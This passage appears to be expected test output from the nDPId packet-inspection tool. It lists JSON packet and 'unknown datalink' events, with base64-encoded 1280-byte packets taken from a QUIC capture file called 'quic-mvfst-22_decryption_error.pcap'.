59Di8EfriMl6kSOJRcxY0iDUBi0qK5R+VF2Zbm1s8a0mQPr63JmKlnaqqMgNtlLdhQHeZn6SRktNQUiHn13xunwl7euZAL4IJ1jYpkHPupXDceGEOLSR9jxMMHdjvrkKL7jB8eGvZZ4m6efsPf07H20mInObja8FKKcKZQOmQfzwch6a5Ni6EtvRsm2LPqa7aB8c7hdYDB27OMwtVv2ZceMLsQBgaUnsgFDL1foZXrJKFAniRosAm8meyjGzjx3EUXX6T8JBLjQvQMM2U9q3o4nap\/whSfVAXcW21L7xka1lgx4CAPdm5EBnxWtT2QnUxL839LwmXLYYgl1f\/8uLv35m\/DkGAyMmeY8bVTd6felvVCknfeei0n9nk67DuF+7Urxl3eX65bH8XtWXDPdR53EGU5AUcGFuJJG65bZ2oiV9HUvbysfYzpnQOlYKi3rl7XQ8kvSFOSg3s="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":223,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":224,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAKQABZEalhXmHhkgrmKKgBu\/L0BOyA6E6FBr+8ZZwIyrY4bqbWQVWR5wrtwICEbWMyMjbrsFiwHkMtz3yyWsvw\/74YfdqI3cSaFxrkdlEkOYe+ubkgFkvzmRv428NvyAUhJUCJZKkB80wUSQVuwlnfSxI7O306lRpHe4\/GejALosC+lnPF0I83w7bsTAYQse3e1EIqXbdWzRXJNvQXFMQGy0RSMNcjy0LwQe8\/VUf293GQXnipsvM8mp2k5CF2HRXZSChso7n135GAoU3e6mBTGzvEg8u0HQFacBlT8WxjZD+ovlV22YAON57+0wZ7ezJiXExnfn\/CtAWnFKYdQF5i4gQJ93Sp75W1BH9P+2qeDEURS63cY7XtW5THe3tpO7ejcKD+mD4joZz6xuT25ief132BYsYE0EvW6ZnLo\/7ZzFxHv8iT0A2DNf+FykQvuoxzeMe6hh0w+0v\/2sC740FfzSzQ0JYe7GJg7UY33jiUeuA+8sBn7BhYoQ5CDOAGFHUz4I7zVtEnS7W6Z01RvnGLwuyzx1A7\/CLqqrvRhsdLUeIKuMf20C6WPbuBz1j8gD8OHHa9akXeLrVaFKRT+B6PvyvNHV4kZ6rEP39NI82bZBtemzfWM19BdDVrHP2M0yp7\/WtpsGEOL9YpavcDajlCnASE1fqNmkKZUILWfPdv2xpkjK2ZPzZyaq72ER1BesvHZgueZ8BkX3KSAeA796nr7gv2Hz7LoJvu9tuTXXZpz+zZGfqhkD6xdOBMNoFX+Ydsqf6Pm8SNBqjMjICktSNRntaqQZWgI17vGnleToISQJKZdND2R20R7GNQdvuJBpwXbW4fWb4mD87EYi\/MFhLppXh+LLSuXeEz0yDaPIlezAG3McGWzrQKkTinFrZ2hdL\/ivVIjKUakJ09by4u1y0Jbz2n9n5zwDgvuEQ6fjSLc4v3th4B\/yz28vi7ZaEvwC5zAeaf+PRtdn0iG9qKKC6pqQ\/7BMCHzrXgVxIHAKAsrP8uPz1hlI\/isjfXsEf4DWpR2yXPcUbzaoPVAfImOgNGc2EZhcm4t0Z4n+fJQ\/s872luyYIfkH9KCxhjH57HcRwycRQJhZTJDClSSq1Jm3AEXZYJVb4obEQ0\/UU+4jQuvB6lALnx2AFSHMxoSjHPPYjWeuColGgDYWGM+Mof0FjzH+HES3XvfRLmjCgopxbdABWSmgBWhTyOPHzdmsFL45BdL4BjUppnmdFqKlehKuSawvnaSTk0OZ4Ybir5s\/DxSW8Yp0hFATxfCjt0QfSN53CaRKYR2HaMbMMqGTflAnZYIBhd043wvRLHs1\/hoKpNOAsl4S1cjFOAdAtbxHnHZzOxY61c9K\/3oxTdzKTev11byzdEzVjONW6kTeMvREEGvklNJtSwbt4Y71ICxJIL3mzWvw7DX86V6yKB4sObP+r9E5HOAnYPEG+Td182Dd8NsWl82pfVEdanejwNidrwwGi2NdtYQSp++bBJkWKEdMW2\/9HWMvPdt\/q8v+yWDkz5kx6KqfO+hIrf+0cwIxbzL+YBYDUQLaKvfg\/2CT6nhZGDRE82oQtn1n+rK3NdST9qW43buPTUD9CnIArlvGYNXuETKqzrQyV5VBrdR7+ZOoFD5yI8Slrs66iSjgKAdhFcsLBXIqRy6fKKOYxa1MJPg4tuQtpp5AiWpOpQAWCghfSxYB8ocezqJTWDQ58="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":224,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":225,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAKQABZEalhXmHhkgrmKKgBu\/L0BOyA6E6FBr+8ZZwIyrY4bqbWQVWR5wrtwICEbWMyMjbrsFiwHkMtz3yyWsvw\/74YfdqI3cSaFxrkdlEkOYe+ubkgFkvzmRv428NvyAUhJUCJZKkB80wUSQVuwlnfSxI7O306lRpHe4\/GejALosC+lnPF0I83w7bsTAYQse3e1EIqXbdWzRXJNvQXFMQGy0RSMNcjy0LwQe8\/VUf293GQXnipsvM8mp2k5CF2HRXZSChso7n135GAoU3e6mBTGzvEg8u0HQFacBlT8WxjZD+ovlV22YAON57+0wZ7ezJiXExnfn\/CtAWnFKYdQF5i4gQJ93Sp75W1BH9P+2qeDEURS63cY7XtW5THe3tpO7ejcKD+mD4joZz6xuT25ief132BYsYE0EvW6ZnLo\/7ZzFxHv8iT0A2DNf+FykQvuoxzeMe6hh0w+0v\/2sC740FfzSzQ0JYe7GJg7UY33jiUeuA+8sBn7BhYoQ5CDOAGFHUz4I7zVtEnS7W6Z01RvnGLwuyzx1A7\/CLqqrvRhsdLUeIKuMf20C6WPbuBz1j8gD8OHHa9akXeLrVaFKRT+B6PvyvNHV4kZ6rEP39NI82bZBtemzfWM19BdDVrHP2M0yp7\/WtpsGEOL9YpavcDajlCnASE1fqNmkKZUILWfPdv2xpkjK2ZPzZyaq72ER1BesvHZgueZ8BkX3KSAeA796nr7gv2Hz7LoJvu9tuTXXZpz+zZGfqhkD6xdOBMNoFX+Ydsqf6Pm8SNBqjMjICktSNRntaqQZWgI17vGnleToISQJKZdND2R20R7GNQdvuJBpwXbW4fWb4mD87EYi\/MFhLppXh+LLSuXeEz0yDaPIlezAG3McGWzrQKkTinFrZ2hdL\/ivVIjKUakJ09by4u1y0Jbz2n9n5zwDgvuEQ6fjSLc4v3th4B\/yz28vi7ZaEvwC5zAeaf+PRtdn0iG9qKKC6pqQ\/7BMCHzrXgVxIHAKAsrP8uPz1hlI\/isjfXsEf4DWpR2yXPcUbzaoPVAfImOgNGc2EZhcm4t0Z4n+fJQ\/s872luyYIfkH9KCxhjH57HcRwycRQJhZTJDClSSq1Jm3AEXZYJVb4obEQ0\/UU+4jQuvB6lALnx2AFSHMxoSjHPPYjWeuColGgDYWGM+Mof0FjzH+HES3XvfRLmjCgopxbdABWSmgBWhTyOPHzdmsFL45BdL4BjUppnmdFqKlehKuSawvnaSTk0OZ4Ybir5s\/DxSW8Yp0hFATxfCjt0QfSN53CaRKYR2HaMbMMqGTflAnZYIBhd043wvRLHs1\/hoKpNOAsl4S1cjFOAdAtbxHnHZzOxY61c9K\/3oxTdzKTev11byzdEzVjONW6kTeMvREEGvklNJtSwbt4Y71ICxJIL3mzWvw7DX86V6yKB4sObP+r9E5HOAnYPEG+Td182Dd8NsWl82pfVEdanejwNidrwwGi2NdtYQSp++bBJkWKEdMW2\/9HWMvPdt\/q8v+yWDkz5kx6KqfO+hIrf+0cwIxbzL+YBYDUQLaKvfg\/2CT6nhZGDRE82oQtn1n+rK3NdST9qW43buPTUD9CnIArlvGYNXuETKqzrQyV5VBrdR7+ZOoFD5yI8Slrs66iSjgKAdhFcsLBXIqRy6fKKOYxa1MJPg4tuQtpp5AiWpOpQAWCghfSxYB8ocezqJTWDQ58="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":225,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02051{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":226,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":982000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAAKQABZEakpXmHhkgrmKKgBu\/L0BOyA6E6FBr+8ZZwIyrY4bqbWQVWR5wrtwICEbWMyMjbrsFiwHkMtz3yyWsvw\/74YfdqI3cSaFxrkdlEkOYe+ubkgFkvzmRv428NvyAUhJUCJZKkB80wUSQVuwlnfSxI7O306lRpHe4\/GejALosC+lnPF0I83w7bsTAYQse3e1EIqXbdWzRXJNvQXFMQGy0RSMNcjy0LwQe8\/VUf293GQXnipsvM8mp2k5CF2HRXZSChso7n135GAoU3e6mBTGzvEg8u0HQFacBlT8WxjZD+ovlV22YAON57+0wZ7ezJiXExnfn\/CtAWnFKYdQF5i4gQJ93Sp75W1BH9P+2qeDEURS63cY7XtW5THe3tpO7ejcKD+mD4joZz6xuT25ief132BYsYE0EvW6ZnLo\/7ZzFxHv8iT0A2DNf+FykQvuoxzeMe6hh0w+0v\/2sC740FfzSzQ0JYe7GJg7UY33jiUeuA+8sBn7BhYoQ5CDOAGFHUz4I7zVtEnS7W6Z01RvnGLwuyzx1A7\/CLqqrvRhsdLUeIKuMf20C6WPbuBz1j8gD8OHHa9akXeLrVaFKRT+B6PvyvNHV4kZ6rEP39NI82bZBtemzfWM19BdDVrHP2M0yp7\/WtpsGEOL9YpavcDajlCnASE1fqNmkKZUILWfPdv2xpkjK2ZPzZyaq72ER1BesvHZgueZ8BkX3KSAeA796nr7gv2Hz7LoJvu9tuTXXZpz+zZGfqhkD6xdOBMNoFX+Ydsqf6Pm8SNBqjMjICktSNRntaqQZWgI17vGnleToISQJKZdND2R20R7GNQdvuJBpwXbW4fWb4mD87EYi\/MFhLppXh+LLSuXeEz0yDaPIlezAG3McGWzrQKkTinFrZ2hdL\/ivVIjKUakJ09by4u1y0Jbz2n9n5zwDgvuEQ6fjSLc4v3th4B\/yz28vi7ZaEvwC5zAeaf+PRtdn0iG9qKKC6pqQ\/7BMCHzrXgVxIHAKAsrP8uPz1hlI\/isjfXsEf4DWpR2yXPcUbzaoPVAfImOgNGc2EZhcm4t0Z4n+fJQ\/s872luyYIfkH9KCxhjH57HcRwycRQJhZTJDClSSq1Jm3AEXZYJVb4obEQ0\/UU+4jQuvB6lALnx2AFSHMxoSjHPPYjWeuColGgDYWGM+Mof0FjzH+HES3XvfRLmjCgopxbdABWSmgBWhTyOPHzdmsFL45BdL4BjUppnmdFqKlehKuSawvnaSTk0OZ4Ybir5s\/DxSW8Yp0hFATxfCjt0QfSN53CaRKYR2HaMbMMqGTflAnZYIBhd043wvRLHs1\/hoKpNOAsl4S1cjFOAdAtbxHnHZzOxY61c9K\/3oxTdzKTev11byzdEzVjONW6kTeMvREEGvklNJtSwbt4Y71ICxJIL3mzWvw7DX86V6yKB4sObP+r9E5HOAnYPEG+Td182Dd8NsWl82pfVEdanejwNidrwwGi2NdtYQSp++bBJkWKEdMW2\/9HWMvPdt\/q8v+yWDkz5kx6KqfO+hIrf+0cwIxbzL+YBYDUQLaKvfg\/2CT6nhZGDRE82oQtn1n+rK3NdST9qW43buPTUD9CnIArlvGYNXuETKqzrQyV5VBrdR7+ZOoFD5yI8Slrs66iSjgKAdhFcsLBXIqRy6fKKOYxa1MJPg4tuQtpp5AiWpOpQAWCghfSxYB8ocezqJTWDQ58="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":226,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02054{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":227,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":983000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAALQABZEalgXmHhkgrmKKgBu\/L0BOxcUVfcV7VGlpzDUZvEbgaJpAiPZIbiFqiRo+dNJQbF88zpONhBBuq6twzbfaHUQgB1+FGfkxZMdIhsR7FPd5Z3\/STsliiYF61TXpr8ZO4SajEt1c7NxRUNPj+byrGgkP4CXMQzk9IA\/Nm7806ArKL61Ti3IA9LjDB3xNzdzck0ay6Wxqck7HVleK9\/5y0IHSxXCiCq11C2+g9zmYg6tncESWEqqRx+98bKwcbTMfBg5\/hevrvRz0ki49f+G5L+nM4OrA13uX0raZ30yTG5B5crLIHr2Mx\/1Dk0ymGwmELPEKkx1tK\/piyST6DZ4BNZMPjfpka4wZtx0lHy7wV3JaBOLeq2sTknkR5y\/AWidgOmfKsmRxqcxXHECivoaaj+Zx7\/ar\/DMn2OVmsp7K5vZZwYa4vsQkwAagyD+TpamoB+LMs+vsZ5ZAtBH9K0WprDGfhRHn2J\/ZTZQlnSHkZ2jPZVQ1MTux35s\/bbsbRPaTFtKcgMEyo8qjn2rSk5l88Th5kzZmeOcZqiBpY268D+LoySEsGa36ndZMN9oBThw9WeGnYQayUutunU3UWBqgWCTIe1wls0hWwzWSwJy2Upu5J+O1UoXoTsScEgT+eaN3mV4c0Wm4S7MJZiflK6QKyKDKkKY3xKg7QPT+eG85HyMOIGiI2odun2g7hl\/T4+iZLa\/A3gl8OdTUh8SnzGXehnp1IJQ65TMnCk+FNVcUcEpr264nc7YZgDqRcsEKRvagqNKboB0xL+531KhJGRBFz0DecYzWHx7Ei1hi8BN0CaiGPwOSMbvfV09E\/KxblXVOcwNI8TJwO0Gp4Qlr2xwVrHjWGqMU5EI6jdmND6QV6Qgkzd7Prlec4da\/L+APn4sFOyX7zUqd\/2oF2JqqJ4YOpgUb6RVfmi6gEPNaN+h4nzvIRnSe09LFq8\/GqZEX5FTPiV4Xg3VILhUtU\/aYiSTMsEoXCpLUrFf0i6RPXfIoLr4UtClthVV\/58sDdiSvpqc93QdH5wBzSYk1xFwv+ruNAx9EpLTMIpQ0N4Ut1FxpB9pQzlWVk\/+lN\/FoXrw6jw+2LgQPglb5zQ3as0buScX+FH+uTKK5t0q9jxZdrrd98aZ22K0QLY5awWLsZ6AZaEgYeiG8kpBuxv5Qbi0XgZ65Z2hsREHXPj003+P1FOP9tlIz\/xFNW7Db5+wToU4EbTGtIL33plRqn5Hkkm3VREVDr35k2EJFIAEIQSUnQnTW\/uWQfPFlWR9x6rlvAvvxae+QNmyHAzVGVPLDW1K6E3ZDl5rYHtd8ygl3MybAZue8mW6NPAfQ1RhSZ33DxoNHQQsuMSQzjIl1FPdRV8CgD5C0sAyBXmRWVkD32FxmQLEXbhR0ekZ+8qnJn5Kx2Q878beHRmtuMa8GaSfOJN0BEkD2itqAQX6y\/TpJLjUZ3hOHXbrYYCPZ2ecGUMCMy66KvlUb1X7KGIbcyc8hZjOKJwkrIIanMx3Gh35ytO8My6YJvSfWztCc32EZqef8mMEsFe4Qby55RELLALhdOqw6VAMcxOyi71VfvsJu57ef5l+BMJdTLHRWPPFqwT4vdoQ+lUP4bWzQG6f6sLJynX0kFIK8te9+8NmIouY6GOHoDTpaWpVkfxA693TE6L2c8i9prKCweQGU929wYBdG9bMvdqCFsB3sKhcom7VRU="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":227,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02054{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":228,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":983000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAALQABZEalgXmHhkgrmKKgBu\/L0BOxcUVfcV7VGlpzDUZvEbgaJpAiPZIbiFqiRo+dNJQbF88zpONhBBuq6twzbfaHUQgB1+FGfkxZMdIhsR7FPd5Z3\/STsliiYF61TXpr8ZO4SajEt1c7NxRUNPj+byrGgkP4CXMQzk9IA\/Nm7806ArKL61Ti3IA9LjDB3xNzdzck0ay6Wxqck7HVleK9\/5y0IHSxXCiCq11C2+g9zmYg6tncESWEqqRx+98bKwcbTMfBg5\/hevrvRz0ki49f+G5L+nM4OrA13uX0raZ30yTG5B5crLIHr2Mx\/1Dk0ymGwmELPEKkx1tK\/piyST6DZ4BNZMPjfpka4wZtx0lHy7wV3JaBOLeq2sTknkR5y\/AWidgOmfKsmRxqcxXHECivoaaj+Zx7\/ar\/DMn2OVmsp7K5vZZwYa4vsQkwAagyD+TpamoB+LMs+vsZ5ZAtBH9K0WprDGfhRHn2J\/ZTZQlnSHkZ2jPZVQ1MTux35s\/bbsbRPaTFtKcgMEyo8qjn2rSk5l88Th5kzZmeOcZqiBpY268D+LoySEsGa36ndZMN9oBThw9WeGnYQayUutunU3UWBqgWCTIe1wls0hWwzWSwJy2Upu5J+O1UoXoTsScEgT+eaN3mV4c0Wm4S7MJZiflK6QKyKDKkKY3xKg7QPT+eG85HyMOIGiI2odun2g7hl\/T4+iZLa\/A3gl8OdTUh8SnzGXehnp1IJQ65TMnCk+FNVcUcEpr264nc7YZgDqRcsEKRvagqNKboB0xL+531KhJGRBFz0DecYzWHx7Ei1hi8BN0CaiGPwOSMbvfV09E\/KxblXVOcwNI8TJwO0Gp4Qlr2xwVrHjWGqMU5EI6jdmND6QV6Qgkzd7Prlec4da\/L+APn4sFOyX7zUqd\/2oF2JqqJ4YOpgUb6RVfmi6gEPNaN+h4nzvIRnSe09LFq8\/GqZEX5FTPiV4Xg3VILhUtU\/aYiSTMsEoXCpLUrFf0i6RPXfIoLr4UtClthVV\/58sDdiSvpqc93QdH5wBzSYk1xFwv+ruNAx9EpLTMIpQ0N4Ut1FxpB9pQzlWVk\/+lN\/FoXrw6jw+2LgQPglb5zQ3as0buScX+FH+uTKK5t0q9jxZdrrd98aZ22K0QLY5awWLsZ6AZaEgYeiG8kpBuxv5Qbi0XgZ65Z2hsREHXPj003+P1FOP9tlIz\/xFNW7Db5+wToU4EbTGtIL33plRqn5Hkkm3VREVDr35k2EJFIAEIQSUnQnTW\/uWQfPFlWR9x6rlvAvvxae+QNmyHAzVGVPLDW1K6E3ZDl5rYHtd8ygl3MybAZue8mW6NPAfQ1RhSZ33DxoNHQQsuMSQzjIl1FPdRV8CgD5C0sAyBXmRWVkD32FxmQLEXbhR0ekZ+8qnJn5Kx2Q878beHRmtuMa8GaSfOJN0BEkD2itqAQX6y\/TpJLjUZ3hOHXbrYYCPZ2ecGUMCMy66KvlUb1X7KGIbcyc8hZjOKJwkrIIanMx3Gh35ytO8My6YJvSfWztCc32EZqef8mMEsFe4Qby55RELLALhdOqw6VAMcxOyi71VfvsJu57ef5l+BMJdTLHRWPPFqwT4vdoQ+lUP4bWzQG6f6sLJynX0kFIK8te9+8NmIouY6GOHoDTpaWpVkfxA693TE6L2c8i9prKCweQGU929wYBdG9bMvdqCFsB3sKhcom7VRU="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":228,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02054{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":229,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":983000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RTgFAAALQABZEakoXmHhkgrmKKgBu\/L0BOxcUVfcV7VGlpzDUZvEbgaJpAiPZIbiFqiRo+dNJQbF88zpONhBBuq6twzbfaHUQgB1+FGfkxZMdIhsR7FPd5Z3\/STsliiYF61TXpr8ZO4SajEt1c7NxRUNPj+byrGgkP4CXMQzk9IA\/Nm7806ArKL61Ti3IA9LjDB3xNzdzck0ay6Wxqck7HVleK9\/5y0IHSxXCiCq11C2+g9zmYg6tncESWEqqRx+98bKwcbTMfBg5\/hevrvRz0ki49f+G5L+nM4OrA13uX0raZ30yTG5B5crLIHr2Mx\/1Dk0ymGwmELPEKkx1tK\/piyST6DZ4BNZMPjfpka4wZtx0lHy7wV3JaBOLeq2sTknkR5y\/AWidgOmfKsmRxqcxXHECivoaaj+Zx7\/ar\/DMn2OVmsp7K5vZZwYa4vsQkwAagyD+TpamoB+LMs+vsZ5ZAtBH9K0WprDGfhRHn2J\/ZTZQlnSHkZ2jPZVQ1MTux35s\/bbsbRPaTFtKcgMEyo8qjn2rSk5l88Th5kzZmeOcZqiBpY268D+LoySEsGa36ndZMN9oBThw9WeGnYQayUutunU3UWBqgWCTIe1wls0hWwzWSwJy2Upu5J+O1UoXoTsScEgT+eaN3mV4c0Wm4S7MJZiflK6QKyKDKkKY3xKg7QPT+eG85HyMOIGiI2odun2g7hl\/T4+iZLa\/A3gl8OdTUh8SnzGXehnp1IJQ65TMnCk+FNVcUcEpr264nc7YZgDqRcsEKRvagqNKboB0xL+531KhJGRBFz0DecYzWHx7Ei1hi8BN0CaiGPwOSMbvfV09E\/KxblXVOcwNI8TJwO0Gp4Qlr2xwVrHjWGqMU5EI6jdmND6QV6Qgkzd7Prlec4da\/L+APn4sFOyX7zUqd\/2oF2JqqJ4YOpgUb6RVfmi6gEPNaN+h4nzvIRnSe09LFq8\/GqZEX5FTPiV4Xg3VILhUtU\/aYiSTMsEoXCpLUrFf0i6RPXfIoLr4UtClthVV\/58sDdiSvpqc93QdH5wBzSYk1xFwv+ruNAx9EpLTMIpQ0N4Ut1FxpB9pQzlWVk\/+lN\/FoXrw6jw+2LgQPglb5zQ3as0buScX+FH+uTKK5t0q9jxZdrrd98aZ22K0QLY5awWLsZ6AZaEgYeiG8kpBuxv5Qbi0XgZ65Z2hsREHXPj003+P1FOP9tlIz\/xFNW7Db5+wToU4EbTGtIL33plRqn5Hkkm3VREVDr35k2EJFIAEIQSUnQnTW\/uWQfPFlWR9x6rlvAvvxae+QNmyHAzVGVPLDW1K6E3ZDl5rYHtd8ygl3MybAZue8mW6NPAfQ1RhSZ33DxoNHQQsuMSQzjIl1FPdRV8CgD5C0sAyBXmRWVkD32FxmQLEXbhR0ekZ+8qnJn5Kx2Q878beHRmtuMa8GaSfOJN0BEkD2itqAQX6y\/TpJLjUZ3hOHXbrYYCPZ2ecGUMCMy66KvlUb1X7KGIbcyc8hZjOKJwkrIIanMx3Gh35ytO8My6YJvSfWztCc32EZqef8mMEsFe4Qby55RELLALhdOqw6VAMcxOyi71VfvsJu57ef5l+BMJdTLHRWPPFqwT4vdoQ+lUP4bWzQG6f6sLJynX0kFIK8te9+8NmIouY6GOHoDTpaWpVkfxA693TE6L2c8i9prKCweQGU929wYBdG9bMvdqCFsB3sKhcom7VRU="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":229,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":230,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":983000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAMQABZEalfXmHhkgrmKKgBu\/L0BOxaw1RlGpmcYj8ICoMDTIVqRZfS8ait\/YFPnJ9lCDz6RbZr10bq17y9D6\/Dg3+rDMp9Thq+50n5xhdoljWUO6HqJcnYA85hASNuBFqW4DeBY7WbNgZ1GsXq3\/HdwaIoJbfrTrq9fvJC97WK5LeX804pvQGJym6umiF9rlw4IrqlWrSqzrqsSG1VAEBknQb22Q47qfnnswwKtukd3VIPN7tknLC7UkaJq6NvX9OH1hqjNbMYH+MJp2keTXpfTpk+XQSM4N\/wni96GKroVDQALJAKlMLsXzN2bjf8xOqTZ6o9WKF9U7KWISStslakj9Q+UvmC7KLyIFyvm9y\/qsW7BQhfoWZEfrOot7pbU6RtV+itjFpq2\/4bAGS+deyVnyEKXZbygMZcgsAIPj3BoutratpOTI7cwfysRp6sRBzhEahowgtoO6oYUaOl12MQ+AW9PY9HsdrfvnrkSsx8R1icWnuKxnoBs\/Qa+ldHrvhXT9LY4t3mY+d3H7nCRmUMh8kskag4bGHbgVVQQFFTZ4pGY13aBom6Ycghs\/VM11+qUMOlnOqhrRPt+lnLjE7lz1s3dYm7G2EoPfw57k\/6cb59nN2sm\/BuMOz3Yo6lT5RMvwYgvzvdJkTkJuD9nXL\/raco06MknoMTNWXFqutNEBIKKlxv\/jZNF+IrRgGrEf7JKJdEaE4dePQjeGAC2IRLqMXYlOit+AlbrRnNyO7QOCDFF50I5+y9fp0cDDC5NamQSZh6493ICZK2ar9yq36zoWD\/puDax1i5rcC6meoCQ8UU05CqO6390gX\/mXITyxz9qoQWOEYjbuvipFNOsF8BFSMohqq4otR+P8nA3Xfq5sX7WnFi6AXpO8O5w4SHYl+7B0o9PVJebTZHJC4vU8gtI841hFi8wxfD3cFTgM8IcMHWcvXwVT0e6xQCnNGFLLTBuJyssB1jJMJm2jpc6PweAxp84xHHeqouqg\/wSw4gsayLbgiPlzW0ecwUaxI1Av\/grsmEo181fPqFMBA30PZehw1DA2cEazqvGytLhneYX357bxYme4aSmKpiqKmKN61LNo3sxDel5DCR1xteSaUY50yuOxc4eX++Wd+1OmwlLdfkFaGDYks6eui0tEcHCkZ65x1wrVadA\/\/hqgALSQ+nZn1y11LBl8ii27pzTjQ58H+64K3z6ZeSzyOQuVx8MXep1mFFXMM4fxKd\/dyHTzYdozghdPfNy+tbKq2T\/L1BjymvIq3+xSM8XONw9KbQuUfoJR6DQrNnmwop2mzk\/SZO8KTKuhCOQrfThfonXabe3CrmXeeIN+ydCXWE+OaD6jASsBUAG\/IBwsyMd3A4s3gUtEno+4n0eAWN+EsZ9shjhh38RszCnlMXV5mtPv6bZgw2oh+lQcWrYYctteSPVRbFmE7BPvwsHOcoaSOmw\/Q9ApwZv7F2P7mjyKIDgzG4CH5Kna7sjjo1EQ46\/oN4nooZtAhf79qFNn7si5Thhb2IYoah9OaQjrw0kqZ7VRPA4L1cXHlHJqN3dkfTcVXRQGfQgQ6DrHM60G0VSdkr75U9cy9+47v6WSj8tnM635bYcqvdskVT4pbAZw3iQOjub8YW\/iHlfPp91UaUCLZoYJeKTWGDcQOgR\/cvyxBhnhQTw7bM6vXbEj0wxBLUwg2wUGYWJFTRjNNRUB23Mak="} +00184{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":230,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","datalink":12} +02056{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":231,"source":"quic-mvfst-22_decryption_error.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1593498296,"pkt_ts_usec":983000,"pkt_caplen":1280,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1280,"pkt_l4_len":0,"pkt":"RQAFAAAMQABZEalfXmHhkgrmKKgBu\/L0BOxaw1RlGpmcYj8ICoMDTIVqRZfS8ait\/YFPnJ9lCDz6RbZr10bq17y9D6\/Dg3+rDMp9Thq+50n5xhdoljWUO6HqJcnYA85hASNuBFqW4DeBY7WbNgZ1GsXq3\/HdwaIoJbfrTrq9fvJC97WK5LeX804pvQGJym6umiF9rlw4IrqlWrSqzrqsSG1VAEBknQb22Q47qfnnswwKtukd3VIPN7tknLC7UkaJq6NvX9OH1hqjNbMYH+MJp2keTXpfTpk+XQSM4N\/wni96GKroVDQALJAKlMLsXzN2bjf8xOqTZ6o9WKF9U7KWISStslakj9Q+UvmC7KLyIFyvm9y\/qsW7BQhfoWZEfrOot7pbU6RtV+itjFpq2\/4bAGS+deyVnyEKXZbygMZcgsAIPj3BoutratpOTI7cwfysRp6sRBzhEahowgtoO6oYUaOl12MQ+AW9PY9HsdrfvnrkSsx8R1icWnuKxnoBs\/Qa+ldHrvhXT9LY4t3mY+d3H7nCRmUMh8kskag4bGHbgVVQQFFTZ4pGY13aBom6Ycghs\/VM11+qUMOlnOqhrRPt+lnLjE7lz1s3dYm7G2EoPfw57k\/6cb59nN2sm\/BuMOz3Yo6lT5RMvwYgvzvdJkTkJuD9nXL\/raco06MknoMTNWXFqutNEBIKKlxv\/jZNF+IrRgGrEf7JKJdEaE4dePQjeGAC2IRLqMXYlOit+AlbrRnNyO7QOCDFF50I5+y9fp0cDDC5NamQSZh6493ICZK2ar9yq36zoWD\/puDax1i5rcC6meoCQ8UU05CqO6390gX\/mXITyxz9qoQWOEYjbuvipFNOsF8